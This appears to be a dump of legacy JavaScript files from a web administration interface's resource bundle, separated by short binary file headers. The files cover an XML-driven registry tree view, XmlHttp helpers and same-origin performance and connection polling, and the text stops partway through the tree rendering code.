function winAutoHeight(ID, nonClientHeight) {
_winAutoHeight(ID, nonClientHeight);
var fnc=function() {
_winAutoHeight(ID,nonClientHeight);
}
if (window.addEventListener)
window.addEventListener('resize',fnc);
else if (window.attachEvent)
window.attachEvent("onresize",fnc); 
}

function getElementHeight(ID) {
var height = 0;
var elem = document.getElementById(ID);
if (elem)
height = elem.offsetHeight;
return height;
}
+@js\xloadtree.js>K<?ratmpl?>
RATreeConfig.loadingText = "$ADMIN.REGISTRY.LOADING$";
RATreeConfig.loadErrorTextTemplate = "$ADMIN.REGISTRY.ERROR$";
RATreeConfig.emptyErrorTextTemplate = "$ADMIN.REGISTRY.ERROR$";

/*
* RALoadTree class
*/

function RALoadTree(sText, sXmlSrc, sAction, sBehavior, sIcon, sOpenIcon) {
// call super
this.RATree = RATree;
this.RATree(sText, sAction, sBehavior, sIcon, sOpenIcon);

// setup default property values
this.src = sXmlSrc;
this.loading = false;
this.loaded = false;
this.errorText = "";

// check start state and load if open
if (this.open)
_startLoadXmlTree(this.src, this);
else {
// and create loading item if not
this._loadingItem = new RATreeItem(RATreeConfig.loadingText);
this.add(this._loadingItem);
}
}

RALoadTree.prototype = new RATree;

// override the expand method to load the xml file
RALoadTree.prototype._RAtree_expand = RATree.prototype.expand;
RALoadTree.prototype.expand = function() {
if (!this.loaded && !this.loading) {
// load
_startLoadXmlTree(this.src, this);
}
this._RAtree_expand();
};

/*
* RALoadTreeItem class
*/

function RALoadTreeItem(sText, sXmlSrc, sAction, eParent, sIcon, sOpenIcon) {
// call super
this.RATreeItem = RATreeItem;
this.RATreeItem(sText, sAction, eParent, sIcon, sOpenIcon);

// setup default property values
this.src = sXmlSrc;
this.loading = false;
this.loaded = false;
this.errorText = "";

// check start state and load if open
if (this.open)
_startLoadXmlTree(this.src, this);
else {
// and create loading item if not
this._loadingItem = new RATreeItem(RATreeConfig.loadingText);
this.add(this._loadingItem);
}
}

RALoadTreeItem.prototype = new RATreeItem;

// override the expand method to load the xml file
RALoadTreeItem.prototype._RAtreeitem_expand = RATreeItem.prototype.expand;
RALoadTreeItem.prototype.expand = function() {
if (!this.loaded && !this.loading) {
// load
_startLoadXmlTree(this.src, this);
}
this._RAtreeitem_expand();
};

// reloads the src file if already loaded
RALoadTree.prototype.reload = 
RALoadTreeItem.prototype.reload = function () {
// if loading do nothing
if (this.loaded) {
var open = this.open;
// remove
while (this.childNodes.length > 0)
this.childNodes[this.childNodes.length - 1].remove();

this.loaded = false;

this._loadingItem = new RATreeItem(RATreeConfig.loadingText);
this.add(this._loadingItem);

if (open)
this.expand();
}
else if (this.open && !this.loading)
_startLoadXmlTree(this.src, this);
};

/*
* Helper functions
*/

// creates the xmlhttp object and starts the load of the xml document
function _startLoadXmlTree(sSrc, jsNode) {
if (jsNode.loading || jsNode.loaded)
return;
jsNode.loading = true;
var xmlHttp = XmlHttp.create();
var begin = 0;
if (jsNode.action.indexOf("first=") != -1) 
begin = jsNode.action.substr(jsNode.action.lastIndexOf("first=") + 6);
xmlHttp.open("GET", sSrc, true);	// async
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState == 4) {
_xmlFileLoaded(xmlHttp.responseXML, jsNode, begin);
}
};
// call in new thread to allow ui to update
window.setTimeout(function () {
xmlHttp.send(null);
}, 10);
}


// Converts an xml tree to a js tree. See article about xml tree format
function _xmlTreeToJsTree(oNode) {
// retreive attributes
var text = oNode.getAttribute("text");
var action = oNode.getAttribute("action");
var parent = null;
var icon = oNode.getAttribute("icon");
var openIcon = oNode.getAttribute("openIcon");
var src = oNode.getAttribute("src");

// create jsNode
var jsNode;
if (src != null && src != "")
jsNode = new RALoadTreeItem(text, src, action, parent, icon, openIcon);
else
jsNode = new RATreeItem(text, action, parent, icon, openIcon);

// go through childNOdes
var cs = oNode.childNodes;
var l = cs.length;
for (var i = 0; i < l; i++) {
if (cs[i].tagName == "tree")
jsNode.add( _xmlTreeToJsTree(cs[i]), true );
}

return jsNode;
}

// Inserts an xml document as a subtree to the provided node
function _xmlFileLoaded(oXmlDoc, jsParentNode, first) {
if (jsParentNode.loaded)
return;

var bIndent = false;
var bAnyChildren = false;
jsParentNode.loaded = true;
jsParentNode.loading = false;

// check that the load of the xml file went well
if( oXmlDoc == null || oXmlDoc.documentElement == null) {
jsParentNode.errorText = parseTemplateString(RATreeConfig.loadErrorTextTemplate, jsParentNode.src);
} else {
// there is one extra level of tree elements
var root = oXmlDoc.documentElement;

// loop through all tree children
var cs = root.childNodes;
var l = cs.length;
var i = 0;
if (l > 500) {
// long subtrees taken apart
if (first > 0) {
i = parseInt(first);
if ( i < l-500 )
l = i+500;
} else {
for (var i = 1; i <= l; i += 500) {
var jsNode = new RALoadTreeItem(i+"-"+((i+500<l)?i+499:l), jsParentNode.src, "regvalues.html?first="+i, null, "img/menu_blank.gif", "img/menu_blank.gif");
jsParentNode.add( jsNode, true);
}
}
} 
if ( l-i <= 500 ) {
for ( ; i < l; i++) {
if (cs[i].tagName == "tree") {
bAnyChildren = true;
bIndent = true;
jsParentNode.add( _xmlTreeToJsTree(cs[i]), true);
}
}
// if no children we got an error
if (!bAnyChildren)
jsParentNode.errorText = parseTemplateString(RATreeConfig.emptyErrorTextTemplate, jsParentNode.src);
}
}

// remove dummy
if (jsParentNode._loadingItem != null) {
jsParentNode._loadingItem.remove();
bIndent = true;
}

if (bIndent) {
// indent now that all items are added
jsParentNode.indent();
}

// show error in status bar
if (jsParentNode.errorText != "")
window.status = jsParentNode.errorText;
}

// parses a string and replaces %n% with argument nr n
function parseTemplateString(sTemplate) {
var args = arguments;
var s = sTemplate;

s = s.replace(/\%\%/g, "%");

for (var i = 1; i < args.length; i++)
s = s.replace( new RegExp("\%" + i + "\%", "g"), args[i] )

return s;
}hjs\xmlextras.js//<script>
//////////////////
// Helper Stuff //
//////////////////

// used to find the Automation server name
function getDomDocumentPrefix() {
if (getDomDocumentPrefix.prefix)
return getDomDocumentPrefix.prefix;

var prefixes = ["MSXML2", "Microsoft", "MSXML", "MSXML3"];
var o;
for (var i = 0; i < prefixes.length; i++) {
try {
// try to create the objects
o = new ActiveXObject(prefixes[i] + ".DomDocument");
return getDomDocumentPrefix.prefix = prefixes[i];
}
catch (ex) {};
}

throw new Error("Could not find an installed XML parser");
}

function getXmlHttpPrefix() {
if (getXmlHttpPrefix.prefix)
return getXmlHttpPrefix.prefix;

var prefixes = ["MSXML2", "Microsoft", "MSXML", "MSXML3"];
var o;
for (var i = 0; i < prefixes.length; i++) {
try {
// try to create the objects
o = new ActiveXObject(prefixes[i] + ".XmlHttp");
return getXmlHttpPrefix.prefix = prefixes[i];
}
catch (ex) {};
}

throw new Error("Could not find an installed XML parser");
}

//////////////////////////
// Start the Real stuff //
//////////////////////////


// XmlHttp factory
function XmlHttp() {}

XmlHttp.create = function () {
try {
if (window.XMLHttpRequest) {
var req = new XMLHttpRequest();

// some versions of Moz do not support the readyState property
// and the onreadystate event so we patch it!
if (req.readyState == null) {
req.readyState = 1;
req.addEventListener("load", function () {
req.readyState = 4;
if (typeof req.onreadystatechange == "function")
req.onreadystatechange();
}, false);
}

return req;
}
if (window.ActiveXObject) {
return new ActiveXObject(getXmlHttpPrefix() + ".XmlHttp");
}
}
catch (ex) {}
// fell through
throw new Error("Your browser does not support XmlHttp objects");
};

// XmlDocument factory
function XmlDocument() {}

XmlDocument.create = function () {
try {
// DOM2
if (document.implementation && document.implementation.createDocument) {
var doc = document.implementation.createDocument("", "", null);

// some versions of Moz do not support the readyState property
// and the onreadystate event so we patch it!
if (doc.readyState == null) {
doc.readyState = 1;
doc.addEventListener("load", function () {
doc.readyState = 4;
if (typeof doc.onreadystatechange == "function")
doc.onreadystatechange();
}, false);
}

return doc;
}
if (window.ActiveXObject)
return new ActiveXObject(getDomDocumentPrefix() + ".DomDocument");
}
catch (ex) {}
throw new Error("Your browser does not support XmlDocument objects");
};

// Create the loadXML method and xml getter for Mozilla
if (window.DOMParser &&
window.XMLSerializer &&
window.Node && Node.prototype && Node.prototype.__defineGetter__) {

// XMLDocument did not extend the Document interface in some versions
// of Mozilla. Extend both!
XMLDocument.prototype.loadXML = 
Document.prototype.loadXML = function (s) {

// parse the string to a new doc	
var doc2 = (new DOMParser()).parseFromString(s, "text/xml");

// remove all initial children
while (this.hasChildNodes())
this.removeChild(this.lastChild);

// insert and import nodes
for (var i = 0; i < doc2.childNodes.length; i++) {
this.appendChild(this.importNode(doc2.childNodes[i], true));
}
};


/*
* xml getter
*
* This serializes the DOM tree to an XML String
*
* Usage: var sXml = oNode.xml
*
*/
// XMLDocument did not extend the Document interface in some versions
// of Mozilla. Extend both!
XMLDocument.prototype.__defineGetter__("xml", function () {
return (new XMLSerializer()).serializeToString(this);
});
Document.prototype.__defineGetter__("xml", function () {
return (new XMLSerializer()).serializeToString(this);
});
}js\xmlhttp.jsg
ڻvar xmlhttp = false;

function initXmlHttp() {
xmlhttp = false;

/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
} catch (e) {
try {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
} catch (E) {
xmlhttp=false
}
}
@else
xmlhttp=false
@end @*/
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp=false;
}
}
}

function loadDashItem(url, divid, contentArrived, param) {
xmlhttp.open("GET",url,true);
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 && xmlhttp.status==200) {
contentArrived(divid, xmlhttp.responseText, param);
}
}
xmlhttp.send(null);
return false;
}

var PerformViewMonitorProxy = (function(){

function callService(url, okCallBack, disconnectCallBack, offlineCallBack){
if (!xmlhttp)
{
initXmlHttp();
}

xmlhttp.open("GET",url,true);
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4 ) {
switch (xmlhttp.status){
case 200:
if (okCallBack && xmlhttp.responseText !== undefined && xmlhttp.responseText != ""){
var response = stringToJson(xmlhttp.responseText)
okCallBack(response);
}
break;
case 403:
if (disconnectCallBack){
disconnectCallBack();
}
break;
case 0:
if (offlineCallBack){
offlineCallBack();
}
break;
}
}
}
xmlhttp.send(null);
}

function callPerformanceData(callBack, errorCallback, first) {
callService(getServiceUrl() + (first ? "?history=1" : ""), callBack, errorCallback, errorCallback);
}

function callWatchDog(okCallBack, disconnectCallBack, offlineCallBack){
callService(getWatchdogServiceUrl(), okCallBack, disconnectCallBack, offlineCallBack);
}

function getWatchdogServiceUrl(){
return getServiceUrl()+ "?watchdog=1";
}

function getServiceUrl(){
return window.location.origin + "/perfview.json";
}

function stringToJson(str) {
try {
return !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
str.replace(/"(\\.|[^"\\])*"/g, ''))) &&
eval('(' + str + ')');
} catch (e) {
return false;
}
}

return {
callPerformanceData: callPerformanceData,
callWatchDog: callWatchDog
}
})();


var ConnectionMonitorProxy = (function () {

function callService(url, okCallBack, disconnectCallBack, offlineCallBack) {
if (!xmlhttp) {
initXmlHttp();
}

xmlhttp.open("GET", url, true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
switch (xmlhttp.status) {
case 200:
if (okCallBack && xmlhttp.responseText !== undefined && xmlhttp.responseText != "") {
var response = stringToJson(xmlhttp.responseText)
okCallBack(response);
}
break;
case 403:
if (disconnectCallBack) {
disconnectCallBack();
}
break;
case 0:
if (offlineCallBack) {
offlineCallBack();
}
break;
}
}
}
xmlhttp.send(null);
}

function callConnectionCheck(okCallBack, disconnectCallBack, offlineCallBack) {
callService(getConnectionCheckServiceUrl(), okCallBack, disconnectCallBack, offlineCallBack);
}

function getConnectionCheckServiceUrl() {
return getServiceUrl() + "?connectcheck=1";
}

function getServiceUrl() {
return window.location.origin + "/chk_rc_plugins.html";
}

function stringToJson(str) {
try {
return !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
str.replace(/"(\\.|[^"\\])*"/g, ''))) &&
eval('(' + str + ')');
} catch (e) {
return false;
}
}

return {
callConnectionCheck: callConnectionCheck
}
})();
 "Yjs\xtree.js_11<?ratmpl?>
var RATreeConfig = {
rootIcon        : 'img/menu_ra.png',
openRootIcon    : 'img/menu_openfolder.png',
folderIcon      : 'img/menu_folder.png',
openFolderIcon  : 'img/menu_openfolder.png',
fileIcon        : 'img/menu_file_info.png?bg=%COLOR.MenuBack%',
iIcon           : 'img/menu_I.gif',
lIcon           : 'img/menu_L.gif',
lMinusIcon      : 'img/menu_Lminus.gif',
lPlusIcon       : 'img/menu_Lplus.gif',
tIcon           : 'img/menu_T.gif',
tMinusIcon      : 'img/menu_Tminus.gif',
tPlusIcon       : 'img/menu_Tplus.gif',
blankIcon       : 'img/menu_blank.gif',
defaultAction   : 'javascript:void(0)',
rememberState   : false
};

var RATreeImageCache = new Array();

function RATreeImageCacheAdd(url) {
if (!RATreeImageCache[url]) {
RATreeImageCache[url] = new Image();
RATreeImageCache[url].src = url;
}
}

var RATreeHandler = {
idCounter : 0,
idPrefix  : "RA-tree-object-",
all       : {},
behavior  : null,
type	  : null,
selected  : null,
onSelect  : null, /* should be part of tree, not handler */
getId     : function() { return this.idPrefix + this.idCounter++; },
toggle    : function (oItem,expandOnly) { 
var _id = oItem.id.replace('-plus',''); 
if (this.all[_id] && typeof(this.all[_id].toggle) == "function") {
this.all[_id].toggle(expandOnly);
}
},
select    : function (oItem) { 
var _id = oItem.id.replace('-icon',''); 
if (this.all[_id] && typeof(this.all[_id].select) == "function") {
this.all[_id].select(); 
}
},
focus     : function (oItem) { 
var _id = oItem.id.replace('-anchor',''); 
if (this.all[_id] && typeof(this.all[_id].focus) == "function") {
this.all[_id].focus(); 
}
},
hover     : function (oItem) { 
var _id = oItem.id.replace('-anchor',''); 
if (this.all[_id] && typeof(this.all[_id].hover) == "function") {
this.all[_id].hover(); 
}
},
blur      : function (oItem) { 
var _id = oItem.id.replace('-anchor',''); 
if (this.all[_id] && typeof(this.all[_id].blur) == "function") {
this.all[_id].blur(); 
}
},
keydown   : function (oItem, e) { 
if (this.all[oItem.id] && typeof(this.all[oItem.id].keydown) == "function") {
return this.all[oItem.id].keydown(e.keyCode); 
}
return null;
},
cookies   : new RACookie(),
insertHTMLBeforeEnd	:	function (oElement, sHTML) {
if (oElement.insertAdjacentHTML != null) {
oElement.insertAdjacentHTML("BeforeEnd", sHTML)
return;
}
var df;	// DocumentFragment
var r = oElement.ownerDocument.createRange();
r.selectNodeContents(oElement);
r.collapse(false);
df = r.createContextualFragment(sHTML);
oElement.appendChild(df);
}
};


/*
* RATreeAbstractNode class
*/

function RATreeAbstractNode(sText, sAction) {
this.childNodes  = [];
this.id     = RATreeHandler.getId();
this.text   = sText || "";
this.action = sAction || RATreeConfig.defaultAction;
this._last  = false;
RATreeHandler.all[this.id] = this;
}

/*
* To speed thing up if you're adding multiple nodes at once (after load)
* use the bNoIdent parameter to prevent automatic re-indentation and call
* the obj.ident() method manually once all nodes has been added.
*/

RATreeAbstractNode.prototype.add = function (node, bNoIdent) {
node.parentNode = this;
this.childNodes[this.childNodes.length] = node;
var root = this;
if (this.childNodes.length >= 2) {
this.childNodes[this.childNodes.length - 2]._last = false;
}
while (root.parentNode) { root = root.parentNode; }
if (root.rendered) {
if (this.childNodes.length >= 2) {
var sSrc = ((this.childNodes[this.childNodes.length -2].folder)?((this.childNodes[this.childNodes.length -2].open)?RATreeConfig.tMinusIcon:RATreeConfig.tPlusIcon):RATreeConfig.tIcon);
RATreeImageCacheAdd(sSrc);
document.getElementById(this.childNodes[this.childNodes.length - 2].id + '-plus').src = sSrc;
this.childNodes[this.childNodes.length - 2].plusIcon = RATreeConfig.tPlusIcon;
this.childNodes[this.childNodes.length - 2].minusIcon = RATreeConfig.tMinusIcon;
this.childNodes[this.childNodes.length - 2]._last = false;
}
this._last = true;
var foo = this;
while (foo.parentNode) {
for (var i = 0; i < foo.parentNode.childNodes.length; i++) {
if (foo.id == foo.parentNode.childNodes[i].id) { break; }
}
if (i == foo.parentNode.childNodes.length - 1) { foo.parentNode._last = true; }
else { foo.parentNode._last = false; }
foo = foo.parentNode;
}
RATreeHandler.insertHTMLBeforeEnd(document.getElementById(this.id + '-cont'), node.toString());
if ((!this.folder) && (!this.openIcon)) {
this.icon = RATreeConfig.folderIcon;
this.openIcon = RATreeConfig.openFolderIcon;
}
if (!this.folder) { this.folder = true; this.collapse(true); }
if (!bNoIdent) { this.indent(); }
}
return node;
}

RATreeAbstractNode.prototype.toggle = function(expandOnly) {
if (this.folder) {
var open = this.open;

if (RATreeHandler.type == 'slide' && this._level == 0) {
this.parentNode.collapseChildren();
RATreeHandler.focus(this);
}

if (open && !expandOnly) { this.collapse(); }
else { this.expand(); }
}	
}

RATreeAbstractNode.prototype.select = function() {
document.getElementById(this.id + '-anchor').focus();
}

RATreeAbstractNode.prototype.deSelect = function() {
if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-anchor').className = '';
}
else if (this._level == 0) {
document.getElementById(this.id).className = 'RA-slide-root';
document.getElementById(this.id).style.backgroundImage = "url('img/itr_menu_button_n.jpg')";
}
RATreeHandler.selected = null;
}

RATreeAbstractNode.prototype.focus = function() {
if ((RATreeHandler.selected) && (RATreeHandler.selected != this)) { RATreeHandler.selected.deSelect(); }
RATreeHandler.selected = this;

if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-anchor').className = 'selected';
}
else if (this._level == 0) {
document.getElementById(this.id).className = 'slideselected';
document.getElementById(this.id).style.backgroundImage = "url('img/itr_menu_button_s.jpg')";
}

//don't grab the keyboard focus - seems unnecessary
//document.getElementById(this.id + '-anchor').focus();
if (RATreeHandler.onSelect) { RATreeHandler.onSelect(this); }
}

RATreeAbstractNode.prototype.hover = function() {
if (RATreeHandler.type == 'slide' && this._level == 0 && RATreeHandler.selected != this) {
document.getElementById(this.id).className = 'RA-slide-root';
document.getElementById(this.id).style.backgroundImage = "url('img/itr_menu_button_h.jpg')";
}
}

RATreeAbstractNode.prototype.blur = function() {
if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-anchor').className = 'selected-inactive';
}
else if (this._level == 0 && RATreeHandler.selected != this) {
document.getElementById(this.id).className = 'RA-slide-root';
document.getElementById(this.id).style.backgroundImage = "url('img/itr_menu_button_n.jpg')";
}
}

RATreeAbstractNode.prototype.doExpand = function() {
if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-icon').src = this.openIcon;
RATreeImageCacheAdd(this.openIcon);
}

if (this.childNodes.length) {  document.getElementById(this.id + '-cont').style.display = 'block'; }
this.open = true;
if (RATreeConfig.rememberState)
RATreeHandler.cookies.setCookie(this.id.substr(15,this.id.length - 15), '1');
}

RATreeAbstractNode.prototype.doCollapse = function() {
if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-icon').src = this.icon;
RATreeImageCacheAdd(this.icon);
}

if (this.childNodes.length) { 
document.getElementById(this.id + '-cont').style.display = 'none'; 
}
this.open = false;
if (RATreeConfig.rememberState)
RATreeHandler.cookies.setCookie(this.id.substr(15,this.id.length - 15), '0');
}

RATreeAbstractNode.prototype.expandAll = function() {
this.expandChildren();
if ((this.folder) && (!this.open)) { this.expand(); }
}

RATreeAbstractNode.prototype.expandChildren = function() {
for (var i = 0; i < this.childNodes.length; i++) {
this.childNodes[i].expandAll();
} }

RATreeAbstractNode.prototype.collapseAll = function() {
this.collapseChildren();
if ((this.folder) && (this.open)) { this.collapse(true); }
}

RATreeAbstractNode.prototype.collapseChildren = function() {
for (var i = 0; i < this.childNodes.length; i++) {
this.childNodes[i].collapseAll();
} }

RATreeAbstractNode.prototype.indent = function(lvl, del, last, level, nodesLeft) {
/*
* Since we only want to modify items one level below ourself,
* and since the rightmost indentation position is occupied by
* the plus icon we set this to -2
*/
if (lvl == null) { lvl = -2; }
var state = 0;
for (var i = this.childNodes.length - 1; i >= 0 ; i--) {
state = this.childNodes[i].indent(lvl + 1, del, last, level);
if (state) { return; }
}
if (del) {
if ((level >= this._level) && (document.getElementById(this.id + '-plus'))) {
if (this.folder) {
var sSrc = (this.open)?RATreeConfig.lMinusIcon:RATreeConfig.lPlusIcon;
RATreeImageCacheAdd(sSrc);
document.getElementById(this.id + '-plus').src = sSrc;
this.plusIcon = RATreeConfig.lPlusIcon;
this.minusIcon = RATreeConfig.lMinusIcon;
} else if (nodesLeft) { 
document.getElementById(this.id + '-plus').src = RATreeConfig.lIcon; 
RATreeImageCacheAdd(RATreeConfig.lIcon);
}
return 1;
}	}
var foo = document.getElementById(this.id + '-indent-' + lvl);
if (foo) {
if ((foo._last) || ((del) && (last))) { 
foo.src =  RATreeConfig.blankIcon; 
RATreeImageCacheAdd(RATreeConfig.blankIcon);
} else { 
foo.src =  RATreeConfig.iIcon; 
RATreeImageCacheAdd(RATreeConfig.iIcon);
}
}
return 0;
}

/*
* RATree class
*/

function RATree(sText, sAction, sBehavior, sIcon, sOpenIcon, sType) {
this.base = RATreeAbstractNode;
this.base(sText, sAction);
this.icon      = sIcon || RATreeConfig.rootIcon;
this.openIcon  = sOpenIcon || RATreeConfig.openRootIcon;
this.open = true;
if (RATreeConfig.rememberState)
this.open = (RATreeHandler.cookies.getCookie(this.id.substr(15,this.id.length - 15)) != '0');
this.folder    = true;
this.rendered  = false;
this.onSelect  = null;
if (!RATreeHandler.behavior) {  RATreeHandler.behavior = sBehavior || "classic"; }
if (!RATreeHandler.type) {  RATreeHandler.type = sType || "tree"; }
}

RATree.prototype = new RATreeAbstractNode;

RATree.prototype.getSelected = function() {
if (RATreeHandler.selected) { return RATreeHandler.selected; }
else { return null; }
}

RATree.prototype.remove = function() { }

RATree.prototype.expand = function() {
this.doExpand();
}

RATree.prototype.collapse = function(b) {
if (!b) { this.focus(); }
this.doCollapse();
}

RATree.prototype.getFirst = function() {
return null;
}

RATree.prototype.getLast = function() {
return null;
}

RATree.prototype.getNextSibling = function() {
return null;
}

RATree.prototype.getPreviousSibling = function() {
return null;
}

RATree.prototype.keydown = function(key) {
if (key == 39) {
if (!this.open) { this.expand(); }
else if (this.childNodes.length) { this.childNodes[0].select(); }
return false;
}
if (key == 37) { this.collapse(); return false; }
if ((key == 40) && (this.open) && (this.childNodes.length)) { this.childNodes[0].select(); return false; }
return true;
}

RATree.prototype.toString = function() {
var str = "";
// display tree root element only if we're dislpaying a ...tree.
if (RATreeHandler.type == 'tree') {
str = "<div id=\"" + this.id + "\" ondblclick=\"RATreeHandler.toggle(this,false);\" class=\"RA-tree-item\" onkeydown=\"return RATreeHandler.keydown(this, event)\">";
str += "<img id=\"" + this.id + "-icon\" class=\"RA-tree-icon\" src=\"" + ((RATreeHandler.behavior == 'classic' && this.open)?this.openIcon:this.icon) + "\" onclick=\"RATreeHandler.select(this);\"><a href=\"" + this.action + "\" id=\"" + this.id + "-anchor\" onfocus=\"RATreeHandler.focus(this);\" onblur=\"RATreeHandler.blur(this);\">" + this.text + "</a></div>";
}
str += "<div id=\"" + this.id + "-cont\" class=\"RA-tree-container\" style=\"height: 1px; display: " + ((this.open)?'inline':'none') + ";\">";
for (var i = 0; i < this.childNodes.length; i++) {
str += this.childNodes[i].toString(i, this.childNodes.length);
}
str += "</div>";
this.rendered = true;
return str;
};

/*
* RATreeItem class
*/

function RATreeItem(sText, sAction, eParent, sIcon, sOpenIcon, sTarget) {
this.base = RATreeAbstractNode;
this.base(sText, sAction);
this.open = false;
if (RATreeConfig.rememberState)
this.open = (RATreeHandler.cookies.getCookie(this.id.substr(15,this.id.length - 15)) == '1');
if (sIcon) { this.icon = sIcon; }
if (sOpenIcon) { this.openIcon = sOpenIcon; }
if (sTarget) { this.target = sTarget; }
if (eParent) { eParent.add(this); }
}

RATreeItem.prototype = new RATreeAbstractNode;

RATreeItem.prototype.remove = function() {
var iconSrc = document.getElementById(this.id + '-plus').src;
var parentNode = this.parentNode;
var prevSibling = this.getPreviousSibling(true);
var nextSibling = this.getNextSibling(true);
var folder = this.parentNode.folder;
var last = ((nextSibling) && (nextSibling.parentNode) && (nextSibling.parentNode.id == parentNode.id))?false:true;
this.getPreviousSibling().focus();
this._remove();
if (parentNode.childNodes.length == 0) {
document.getElementById(parentNode.id + '-cont').style.display = 'none';
parentNode.doCollapse();
parentNode.folder = false;
parentNode.open = false;
}
if (!nextSibling || last) { parentNode.indent(null, true, last, this._level, parentNode.childNodes.length); }
if ((prevSibling == parentNode) && !(parentNode.childNodes.length)) {
prevSibling.folder = false;
prevSibling.open = false;
iconSrc = document.getElementById(prevSibling.id + '-plus').src;
iconSrc = iconSrc.replace('minus', '').replace('plus', '');
document.getElementById(prevSibling.id + '-plus').src = iconSrc;
document.getElementById(prevSibling.id + '-icon').src = RATreeConfig.fileIcon;
RATreeImageCacheAdd(iconSrc);
RATreeImageCacheAdd(RATreeConfig.fileIcon);
}
if (document.getElementById(prevSibling.id + '-plus')) {
if (parentNode == prevSibling.parentNode) {
iconSrc = iconSrc.replace('minus', '').replace('plus', '');
document.getElementById(prevSibling.id + '-plus').src = iconSrc;
RATreeImageCacheAdd(iconSrc);
}
}
}

RATreeItem.prototype._remove = function() {
for (var i = this.childNodes.length - 1; i >= 0; i--) {
this.childNodes[i]._remove();
}
for (var i = 0; i < this.parentNode.childNodes.length; i++) {
if (this == this.parentNode.childNodes[i]) {
for (var j = i; j < this.parentNode.childNodes.length; j++) {
this.parentNode.childNodes[j] = this.parentNode.childNodes[j+1];
}
this.parentNode.childNodes.length -= 1;
if (i + 1 == this.parentNode.childNodes.length) { this.parentNode._last = true; }
break;
}	}
RATreeHandler.all[this.id] = null;
var tmp = document.getElementById(this.id);
if (tmp) { tmp.parentNode.removeChild(tmp); }
tmp = document.getElementById(this.id + '-cont');
if (tmp) { tmp.parentNode.removeChild(tmp); }
}

RATreeItem.prototype.expand = function() {
this.doExpand();
if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-plus').src = this.minusIcon;
RATreeImageCacheAdd(this.minusIcon);
}
else if (document.getElementById(this.id + '-arrow')) {
document.getElementById(this.id + '-arrow').src = "img\\menu_arrow_down.png";
RATreeImageCacheAdd("img\\menu_arrow_down.png");
}
}

RATreeItem.prototype.collapse = function(b) {
if (!b) { this.focus(); }
this.doCollapse();
if (RATreeHandler.type == 'tree') {
document.getElementById(this.id + '-plus').src = this.plusIcon;
RATreeImageCacheAdd(this.plusIcon);
}
else if (document.getElementById(this.id + '-arrow')) {
document.getElementById(this.id + '-arrow').src = "img\\menu_arrow_right.png";
RATreeImageCacheAdd("img\\menu_arrow_right.png");
}
}

RATreeItem.prototype.getFirst = function() {
return this.childNodes[0];
}

RATreeItem.prototype.getLast = function() {
if (this.childNodes[this.childNodes.length - 1].open) { return this.childNodes[this.childNodes.length - 1].getLast(); }
else { return this.childNodes[this.childNodes.length - 1]; }
}

RATreeItem.prototype.getNextSibling = function() {
for (var i = 0; i < this.parentNode.childNodes.length; i++) {
if (this == this.parentNode.childNodes[i]) { break; }
}
if (++i == this.parentNode.childNodes.length) { return this.parentNode.getNextSibling(); }
else { return this.parentNode.childNodes[i]; }
}

RATreeItem.prototype.getPreviousSibling = function(b) {
for (var i = 0; i < this.parentNode.childNodes.length; i++) {
if (this == this.parentNode.childNodes[i]) { break; }
}
if (i == 0) { return this.parentNode; }
else {
if ((this.parentNode.childNodes[--i].open) || (b && this.parentNode.childNodes[i].folder)) { return this.parentNode.childNodes[i].getLast(); }
else { return this.parentNode.childNodes[i]; }
} }

RATreeItem.prototype.keydown = function(key) {
if ((key == 39) && (this.folder)) {
if (!this.open) { this.expand(); }
else { this.getFirst().select(); }
return false;
}
else if (key == 37) {
if (this.open) { this.collapse(); }
else { this.parentNode.select(); }
return false;
}
else if (key == 40) {
if (this.open) { this.getFirst().select(); }
else {
var sib = this.getNextSibling();
if (sib) { sib.select(); }
}
return false;
}
else if (key == 38) { this.getPreviousSibling().select(); return false; }
return true;
}

RATreeItem.prototype.toString = function (nItem, nItemCount) {
var foo = this.parentNode;
var indent = '';
var itemClass = '';
var onMouseOver = '';
var onMouseOut = '';
if (nItem + 1 == nItemCount) { this.parentNode._last = true; }
var i = 0;

// set indent
while (foo.parentNode) {
foo = foo.parentNode;
if (RATreeHandler.type == 'tree') {
indent = "<img id=\"" + this.id + "-indent-" + i + "\" src=\"" + ((foo._last)?RATreeConfig.blankIcon:RATreeConfig.iIcon) + "\">" + indent;
}
else {
indent = "<img src=\"img\\clear.gif\" width=\"28\" height=\"12\">";
}
i++;
}
this._level = i;

// set onmouseover behaviour
if (RATreeHandler.type == 'slide' && this._level == 0) 
onMouseOver = " onmouseover=\"RATreeHandler.hover(this);\"";

// set onmouseout behaviour
if (RATreeHandler.type == 'slide' && this._level == 0) 
onMouseOut = " onmouseout=\"RATreeHandler.blur(this);\"";

// set class
if (RATreeHandler.type == 'slide') {
if (this._level == 0) {itemClass = 'RA-slide-root';}
else {itemClass = 'RA-slide-item';}
}
else {itemClass = 'RA-tree-item';}

// set icon
if (this.childNodes.length) { this.folder = 1; }
else { this.open = false; }
if (this.folder) {
if (!this.icon) { this.icon = RATreeConfig.folderIcon; }
if (!this.openIcon) { this.openIcon = RATreeConfig.openFolderIcon; }
}
else if (!this.icon && RATreeHandler.type == 'tree') { this.icon = RATreeConfig.fileIcon; }

if (document.images) {
// preload openIcons
var tmpIcon = new Image();
if (this.openIcon) {
tmpIcon.src = this.openIcon;
RATreeImageCacheAdd(this.openIcon);
}
}

//	var label = this.text.replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\\\'/g, "'");
var label = this.text;

var str = '';

if (RATreeHandler.type == 'tree') {
